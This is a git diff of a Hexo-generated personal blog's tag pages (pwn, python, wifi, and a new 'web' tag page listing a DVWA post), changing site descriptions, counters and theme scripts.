               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/pwn/index.html b/tags/pwn/index.html
index ea4064ec..ea0f82eb 100644
--- a/tags/pwn/index.html
+++ b/tags/pwn/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/pwn/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/python/index.html b/tags/python/index.html
index 071b99d3..65d32db3 100644
--- a/tags/python/index.html
+++ b/tags/python/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/python/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/web/index.html b/tags/web/index.html
new file mode 100644
index 00000000..67e89aa6
--- /dev/null
+++ b/tags/web/index.html
@@ -0,0 +1,1128 @@
+<!DOCTYPE html>
+
+
+
+  
+
+
+<html class="theme-next gemini use-motion" lang="zh-Hans">
+<head><meta name="generator" content="Hexo 3.8.0">
+  <meta charset="UTF-8">
+<meta http-equiv="X-UA-Compatible" content="IE=edge">
+<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
+<meta name="theme-color" content="#222">
+
+
+
+
+
+
+
+
+
+<meta http-equiv="Cache-Control" content="no-transform">
+<meta http-equiv="Cache-Control" content="no-siteapp">
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  
+  
+  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">
+
+
+
+
+
+
+
+<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">
+
+<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">
+
+
+  <link rel="apple-touch-icon" sizes="180x180" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="icon" type="image/png" sizes="32x32" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="icon" type="image/png" sizes="16x16" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">
+
+
+
+
+
+  <meta name="keywords" content="Hexo, NexT">
+
+
+
+
+
+
+
+
+
+
+<meta name="description" content="没人比我更懂中医#MAGA">
+<meta property="og:type" content="website">
+<meta property="og:title" content="混元霹雳手">
+<meta property="og:url" content="https://cool-y.github.io/tags/web/index.html">
+<meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
+<meta property="og:locale" content="zh-Hans">
+<meta name="twitter:card" content="summary">
+<meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
+
+
+
+<script type="text/javascript" id="hexo.configurations">
+  var NexT = window.NexT || {};
+  var CONFIG = {
+    root: '/',
+    scheme: 'Gemini',
+    version: '5.1.4',
+    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
+    fancybox: true,
+    tabs: true,
+    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
+    duoshuo: {
+      userId: '0',
+      author: '博主'
+    },
+    algolia: {
+      applicationID: '',
+      apiKey: '',
+      indexName: '',
+      hits: {"per_page":10},
+      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
+    }
+  };
+</script>
+
+
+
+  <link rel="canonical" href="https://cool-y.github.io/tags/web/">
+
+
+
+
+
+  <title>标签: web | 混元霹雳手</title>
+  
+
+
+
+
+
+
+
+
+</head>
+
+<body itemscope itemtype="http://schema.org/WebPage" lang="zh-Hans">
+
+  
+  
+    
+  
+
+  <div class="container sidebar-position-left ">
+    <div class="headband"></div>
+
+    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
+      <div class="header-inner"><div class="site-brand-wrapper">
+  <div class="site-meta ">
+    
+
+    <div class="custom-logo-site-title">
+      <a href="/" class="brand" rel="start">
+        <span class="logo-line-before"><i></i></span>
+        <span class="site-title">混元霹雳手</span>
+        <span class="logo-line-after"><i></i></span>
+      </a>
+    </div>
+      
+        <p class="site-subtitle"></p>
+      
+  </div>
+
+  <div class="site-nav-toggle">
+    <button>
+      <span class="btn-bar"></span>
+      <span class="btn-bar"></span>
+      <span class="btn-bar"></span>
+    </button>
+  </div>
+</div>
+
+<nav class="site-nav">
+  
+
+  
+    <ul id="menu" class="menu">
+      
+        
+        <li class="menu-item menu-item-home">
+          <a href="/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
+            
+            首页
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-about">
+          <a href="/about/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
+            
+            关于
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-tags">
+          <a href="/tags/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
+            
+            标签
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-categories">
+          <a href="/categories/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-th"></i> <br>
+            
+            分类
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-archives">
+          <a href="/archives/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
+            
+            归档
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-bookmarks">
+          <a href="/bookmarks/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-map"></i> <br>
+            
+            书签
+          </a>
+        </li>
+      
+
+      
+        <li class="menu-item menu-item-search">
+          
+            <a href="javascript:;" class="popup-trigger">
+          
+            
+              <i class="menu-item-icon fa fa-search fa-fw"></i> <br>
+            
+            搜索
+          </a>
+        </li>
+      
+    </ul>
+  
+
+  
+    <div class="site-search">
+      
+  <div class="popup search-popup local-search-popup">
+  <div class="local-search-header clearfix">
+    <span class="search-icon">
+      <i class="fa fa-search"></i>
+    </span>
+    <span class="popup-btn-close">
+      <i class="fa fa-times-circle"></i>
+    </span>
+    <div class="local-search-input-wrapper">
+      <input autocomplete="off" placeholder="搜索..." spellcheck="false" type="text" id="local-search-input">
+    </div>
+  </div>
+  <div id="local-search-result"></div>
+</div>
+
+
+
+    </div>
+  
+</nav>
+
+
+
+ </div>
+    </header>
+
+    <main id="main" class="main">
+      <div class="main-inner">
+        <div class="content-wrap">
+          <div id="content" class="content">
+            
+
+  
+  
+  
+  <div class="post-block tag">
+
+    <div id="posts" class="posts-collapse">
+      <div class="collection-title">
+        <h1>web<small>标签</small>
+        </h1>
+      </div>
+
+      
+        
+
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+    <header class="post-header">
+
+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2019/07/24/web-dvwa/" itemprop="url">
+              
+                <span itemprop="name">DVWA黑客攻防平台</span>
+              
+            </a>
+        
+      </h2>
+
+      <div class="post-meta">
+        <time class="post-time" itemprop="dateCreated" datetime="2019-07-24T11:46:51+08:00" content="2019-07-24">
+          07-24
+        </time>
+      </div>
+
+    </header>
+  </article>
+
+
+      
+    </div>
+
+  </div>
+  
+  
+  
+
+  
+
+
+          </div>
+          
+
+
+          
+
+        </div>
+        
+          
+  
+  <div class="sidebar-toggle">
+    <div class="sidebar-toggle-line-wrap">
+      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
+    </div>
+  </div>
+
+  <aside id="sidebar" class="sidebar">
+    
+    <div class="sidebar-inner">
+
+      
+
+      
+
+      <section class="site-overview-wrap sidebar-panel sidebar-panel-active">
+        <div class="site-overview">
+          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
+            
+              <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
+            
+              <p class="site-author-name" itemprop="name">Cool-Y</p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
+          </div>
+
+          <nav class="site-state motion-element">
+
+            
+              <div class="site-state-item site-state-posts">
+              
+                <a href="/archives/">
+              
+                  <span class="site-state-item-count">21</span>
+                  <span class="site-state-item-name">日志</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-categories">
+                <a href="/categories/index.html">
+                  <span class="site-state-item-count">9</span>
+                  <span class="site-state-item-name">分类</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-tags">
+                <a href="/tags/index.html">
+                  <span class="site-state-item-count">43</span>
+                  <span class="site-state-item-name">标签</span>
+                </a>
+              </div>
+            
+
+          </nav>
+
+          
+
+          
+            <div class="links-of-author motion-element">
+                
+                  <span class="links-of-author-item">
+                    <a href="https://github.com/Cool-Y" target="_blank" title="GitHub">
+                      
+                        <i class="fa fa-fw fa-github"></i>GitHub</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="mailto:cool.yim@whu.edu.cn" target="_blank" title="E-Mail">
+                      
+                        <i class="fa fa-fw fa-envelope"></i>E-Mail</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="https://www.instagram.com/yan__han/" target="_blank" title="Instagram">
+                      
+                        <i class="fa fa-fw fa-instagram"></i>Instagram</a>
+                  </span>
+                
+            </div>
+          
+
+          
+          
+
+          
+          
+
+          
+
+        </div>
+      </section>
+
+      
+
+      
+
+    </div>
+  </aside>
+
+
+        
+      </div>
+    </main>
+
+    <footer id="footer" class="footer">
+      <div class="footer-inner">
+        <div class="copyright">&copy; <span itemprop="copyrightYear">2019</span>
+  <span class="with-love">
+    <i class="fa fa-user"></i>
+  </span>
+  <span class="author" itemprop="copyrightHolder">Cool-Y</span>
+
+  
+    <span class="post-meta-divider">|</span>
+    <span class="post-meta-item-icon">
+      <i class="fa fa-area-chart"></i>
+    </span>
+    
+    <span title="Site words total count">64.5k</span>
+  
+</div>
+
+
+  <div class="powered-by">由 <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>
+
+
+
+
+
+
+
+
+        
+<div class="busuanzi-count">
+    <script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
+
+  
+    <span class="site-uv">
+      <i class="fa fa-user"></i>
+      <span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
+      
+    </span>
+  
+
+  
+    <span class="site-pv">
+      <i class="fa fa-eye"></i>
+      <span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
+      
+    </span>
+  
+</div>
+
+
+
+
+
+
+
+
+        
+      </div>
+    </footer>
+
+    
+      <div class="back-to-top">
+        <i class="fa fa-arrow-up"></i>
+        
+      </div>
+    
+
+    
+
+  </div>
+
+  
+
+<script type="text/javascript">
+  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
+    window.Promise = null;
+  }
+</script>
+
+
+
+
+
+
+
+
+
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  
+  
+    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
+  
+
+
+  
+
+
+  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>
+
+  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>
+
+
+
+  
+  
+
+
+  <script type="text/javascript" src="/js/src/affix.js?v=5.1.4"></script>
+
+  <script type="text/javascript" src="/js/src/schemes/pisces.js?v=5.1.4"></script>
+
+
+
+  
+
+  
+
+
+  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>
+
+
+
+  
+
+
+  
+
+
+
+
+	
+
+
+
+
+
+  
+
+
+
+
+
+  
+
+
+
+
+
+
+
+<!-- LOCAL: You can save these files to your site and update links -->
+    
+        
+        <link rel="stylesheet" href="https://jjeejj.github.io/css/gitment.css">
+        <script src="https://jjeejj.github.io/js/gitment.js"></script>
+    
+<!-- END LOCAL -->
+
+    
+
+    
+
+
+
+
+
+
+
+  
+
+  <script type="text/javascript">
+    // Popup Window;
+    var isfetched = false;
+    var isXml = true;
+    // Search DB path;
+    var search_path = "search.xml";
+    if (search_path.length === 0) {
+      search_path = "search.xml";
+    } else if (/json$/i.test(search_path)) {
+      isXml = false;
+    }
+    var path = "/" + search_path;
+    // monitor main search box;
+
+    var onPopupClose = function (e) {
+      $('.popup').hide();
+      $('#local-search-input').val('');
+      $('.search-result-list').remove();
+      $('#no-result').remove();
+      $(".local-search-pop-overlay").remove();
+      $('body').css('overflow', '');
+    }
+
+    function proceedsearch() {
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
+        .css('overflow', 'hidden');
+      $('.search-popup-overlay').click(onPopupClose);
+      $('.popup').toggle();
+      var $localSearchInput = $('#local-search-input');
+      $localSearchInput.attr("autocapitalize", "none");
+      $localSearchInput.attr("autocorrect", "off");
+      $localSearchInput.focus();
+    }
+
+    // search function;
+    var searchFunc = function(path, search_id, content_id) {
+      'use strict';
+
+      // start loading animation
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay">' +
+          '<div id="search-loading-icon">' +
+          '<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
+          '</div>' +
+          '</div>')
+        .css('overflow', 'hidden');
+      $("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');
+
+      $.ajax({
+        url: path,
+        dataType: isXml ? "xml" : "json",
+        async: true,
+        success: function(res) {
+          // get the contents from search data
+          isfetched = true;
+          $('.popup').detach().appendTo('.header-inner');
+          var datas = isXml ? $("entry", res).map(function() {
+            return {
+              title: $("title", this).text(),
+              content: $("content",this).text(),
+              url: $("url" , this).text()
+            };
+          }).get() : res;
+          var input = document.getElementById(search_id);
+          var resultContent = document.getElementById(content_id);
+          var inputEventFunction = function() {
+            var searchText = input.value.trim().toLowerCase();
+            var keywords = searchText.split(/[\s\-]+/);
+            if (keywords.length > 1) {
+              keywords.push(searchText);
+            }
+            var resultItems = [];
+            if (searchText.length > 0) {
+              // perform local searching
+              datas.forEach(function(data) {
+                var isMatch = false;
+                var hitCount = 0;
+                var searchTextCount = 0;
+                var title = data.title.trim();
+                var titleInLowerCase = title.toLowerCase();
+                var content = data.content.trim().replace(/<[^>]+>/g,"");
+                var contentInLowerCase = content.toLowerCase();
+                var articleUrl = decodeURIComponent(data.url);
+                var indexOfTitle = [];
+                var indexOfContent = [];
+                // only match articles with not empty titles
+                if(title != '') {
+                  keywords.forEach(function(keyword) {
+                    function getIndexByWord(word, text, caseSensitive) {
+                      var wordLen = word.length;
+                      if (wordLen === 0) {
+                        return [];
+                      }
+                      var startPosition = 0, position = [], index = [];
+                      if (!caseSensitive) {
+                        text = text.toLowerCase();
+                        word = word.toLowerCase();
+                      }
+                      while ((position = text.indexOf(word, startPosition)) > -1) {
+                        index.push({position: position, word: word});
+                        startPosition = position + wordLen;
+                      }
+                      return index;
+                    }
+
+                    indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
+                    indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
+                  });
+                  if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
+                    isMatch = true;
+                    hitCount = indexOfTitle.length + indexOfContent.length;
+                  }
+                }
+
+                // show search results
+
+                if (isMatch) {
+                  // sort index by position of keyword
+
+                  [indexOfTitle, indexOfContent].forEach(function (index) {
+                    index.sort(function (itemLeft, itemRight) {
+                      if (itemRight.position !== itemLeft.position) {
+                        return itemRight.position - itemLeft.position;
+                      } else {
+                        return itemLeft.word.length - itemRight.word.length;
+                      }
+                    });
+                  });
+
+                  // merge hits into slices
+
+                  function mergeIntoSlice(text, start, end, index) {
+                    var item = index[index.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    var hits = [];
+                    var searchTextCountInSlice = 0;
+                    while (position + word.length <= end && index.length != 0) {
+                      if (word === searchText) {
+                        searchTextCountInSlice++;
+                      }
+                      hits.push({position: position, length: word.length});
+                      var wordEnd = position + word.length;
+
+                      // move to next position of hit
+
+                      index.pop();
+                      while (index.length != 0) {
+                        item = index[index.length - 1];
+                        position = item.position;
+                        word = item.word;
+                        if (wordEnd > position) {
+                          index.pop();
+                        } else {
+                          break;
+                        }
+                      }
+                    }
+                    searchTextCount += searchTextCountInSlice;
+                    return {
+                      hits: hits,
+                      start: start,
+                      end: end,
+                      searchTextCount: searchTextCountInSlice
+                    };
+                  }
+
+                  var slicesOfTitle = [];
+                  if (indexOfTitle.length != 0) {
+                    slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
+                  }
+
+                  var slicesOfContent = [];
+                  while (indexOfContent.length != 0) {
+                    var item = indexOfContent[indexOfContent.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    // cut out 100 characters
+                    var start = position - 20;
+                    var end = position + 80;
+                    if(start < 0){
+                      start = 0;
+                    }
+                    if (end < position + word.length) {
+                      end = position + word.length;
+                    }
+                    if(end > content.length){
+                      end = content.length;
+                    }
+                    slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
+                  }
+
+                  // sort slices in content by search text's count and hits' count
+
+                  slicesOfContent.sort(function (sliceLeft, sliceRight) {
+                    if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
+                      return sliceRight.searchTextCount - sliceLeft.searchTextCount;
+                    } else if (sliceLeft.hits.length !== sliceRight.hits.length) {
+                      return sliceRight.hits.length - sliceLeft.hits.length;
+                    } else {
+                      return sliceLeft.start - sliceRight.start;
+                    }
+                  });
+
+                  // select top N slices in content
+
+                  var upperBound = parseInt('1');
+                  if (upperBound >= 0) {
+                    slicesOfContent = slicesOfContent.slice(0, upperBound);
+                  }
+
+                  // highlight title and content
+
+                  function highlightKeyword(text, slice) {
+                    var result = '';
+                    var prevEnd = slice.start;
+                    slice.hits.forEach(function (hit) {
+                      result += text.substring(prevEnd, hit.position);
+                      var end = hit.position + hit.length;
+                      result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
+                      prevEnd = end;
+                    });
+                    result += text.substring(prevEnd, slice.end);
+                    return result;
+                  }
+
+                  var resultItem = '';
+
+                  if (slicesOfTitle.length != 0) {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
+                  } else {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
+                  }
+
+                  slicesOfContent.forEach(function (slice) {
+                    resultItem += "<a href='" + articleUrl + "'>" +
+                      "<p class=\"search-result\">" + highlightKeyword(content, slice) +
+                      "...</p>" + "</a>";
+                  });
+
+                  resultItem += "</li>";
+                  resultItems.push({
+                    item: resultItem,
+                    searchTextCount: searchTextCount,
+                    hitCount: hitCount,
+                    id: resultItems.length
+                  });
+                }
+              })
+            };
+            if (keywords.length === 1 && keywords[0] === "") {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
+            } else if (resultItems.length === 0) {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
+            } else {
+              resultItems.sort(function (resultLeft, resultRight) {
+                if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
+                  return resultRight.searchTextCount - resultLeft.searchTextCount;
+                } else if (resultLeft.hitCount !== resultRight.hitCount) {
+                  return resultRight.hitCount - resultLeft.hitCount;
+                } else {
+                  return resultRight.id - resultLeft.id;
+                }
+              });
+              var searchResultList = '<ul class=\"search-result-list\">';
+              resultItems.forEach(function (result) {
+                searchResultList += result.item;
+              })
+              searchResultList += "</ul>";
+              resultContent.innerHTML = searchResultList;
+            }
+          }
+
+          if ('auto' === 'auto') {
+            input.addEventListener('input', inputEventFunction);
+          } else {
+            $('.search-icon').click(inputEventFunction);
+            input.addEventListener('keypress', function (event) {
+              if (event.keyCode === 13) {
+                inputEventFunction();
+              }
+            });
+          }
+
+          // remove loading animation
+          $(".local-search-pop-overlay").remove();
+          $('body').css('overflow', '');
+
+          proceedsearch();
+        }
+      });
+    }
+
+    // handle and trigger popup window;
+    $('.popup-trigger').click(function(e) {
+      e.stopPropagation();
+      if (isfetched === false) {
+        searchFunc(path, 'local-search-input', 'local-search-result');
+      } else {
+        proceedsearch();
+      };
+    });
+
+    $('.popup-btn-close').click(onPopupClose);
+    $('.popup').click(function(e){
+      e.stopPropagation();
+    });
+    $(document).on('keyup', function (event) {
+      var shouldDismissSearchPopup = event.which === 27 &&
+        $('.search-popup').is(':visible');
+      if (shouldDismissSearchPopup) {
+        onPopupClose();
+      }
+    });
+  </script>
+
+
+
+
+
+  
+
+  
+  <script src="https://cdn1.lncld.net/static/js/av-core-mini-0.6.4.js"></script>
+  <script>AV.initialize("EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz", "x8FxDrYG79C8YFrTww9ljo8K");</script>
+  <script>
+    function showTime(Counter) {
+      var query = new AV.Query(Counter);
+      var entries = [];
+      var $visitors = $(".leancloud_visitors");
+
+      $visitors.each(function () {
+        entries.push( $(this).attr("id").trim() );
+      });
+
+      query.containedIn('url', entries);
+      query.find()
+        .done(function (results) {
+          var COUNT_CONTAINER_REF = '.leancloud-visitors-count';
+
+          if (results.length === 0) {
+            $visitors.find(COUNT_CONTAINER_REF).text(0);
+            return;
+          }
+
+          for (var i = 0; i < results.length; i++) {
+            var item = results[i];
+            var url = item.get('url');
+            var time = item.get('time');
+            var element = document.getElementById(url);
+
+            $(element).find(COUNT_CONTAINER_REF).text(time);
+          }
+          for(var i = 0; i < entries.length; i++) {
+            var url = entries[i];
+            var element = document.getElementById(url);
+            var countSpan = $(element).find(COUNT_CONTAINER_REF);
+            if( countSpan.text() == '') {
+              countSpan.text(0);
+            }
+          }
+        })
+        .fail(function (object, error) {
+          console.log("Error: " + error.code + " " + error.message);
+        });
+    }
+
+    function addCount(Counter) {
+      var $visitors = $(".leancloud_visitors");
+      var url = $visitors.attr('id').trim();
+      var title = $visitors.attr('data-flag-title').trim();
+      var query = new AV.Query(Counter);
+
+      query.equalTo("url", url);
+      query.find({
+        success: function(results) {
+          if (results.length > 0) {
+            var counter = results[0];
+            counter.fetchWhenSave(true);
+            counter.increment("time");
+            counter.save(null, {
+              success: function(counter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(counter.get('time'));
+              },
+              error: function(counter, error) {
+                console.log('Failed to save Visitor num, with error message: ' + error.message);
+              }
+            });
+          } else {
+            var newcounter = new Counter();
+            /* Set ACL */
+            var acl = new AV.ACL();
+            acl.setPublicReadAccess(true);
+            acl.setPublicWriteAccess(true);
+            newcounter.setACL(acl);
+            /* End Set ACL */
+            newcounter.set("title", title);
+            newcounter.set("url", url);
+            newcounter.set("time", 1);
+            newcounter.save(null, {
+              success: function(newcounter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(newcounter.get('time'));
+              },
+              error: function(newcounter, error) {
+                console.log('Failed to create');
+              }
+            });
+          }
+        },
+        error: function(error) {
+          console.log('Error:' + error.code + " " + error.message);
+        }
+      });
+    }
+
+    $(function() {
+      var Counter = AV.Object.extend("Counter");
+      if ($('.leancloud_visitors').length == 1) {
+        addCount(Counter);
+      } else if ($('.post-title-link').length > 1) {
+        showTime(Counter);
+      }
+    });
+  </script>
+
+
+
+  
+
+  
+<script>
+(function(){
+    var bp = document.createElement('script');
+    var curProtocol = window.location.protocol.split(':')[0];
+    if (curProtocol === 'https') {
+        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
+    }
+    else {
+        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
+    }
+    var s = document.getElementsByTagName("script")[0];
+    s.parentNode.insertBefore(bp, s);
+})();
+</script>
+
+
+  
+  
+
+  
+
+  
+
+  
+
+</body>
+</html>
diff --git a/tags/wifi/index.html b/tags/wifi/index.html
index 3558365b..7b263e84 100644
--- a/tags/wifi/index.html
+++ b/tags/wifi/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/wifi/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
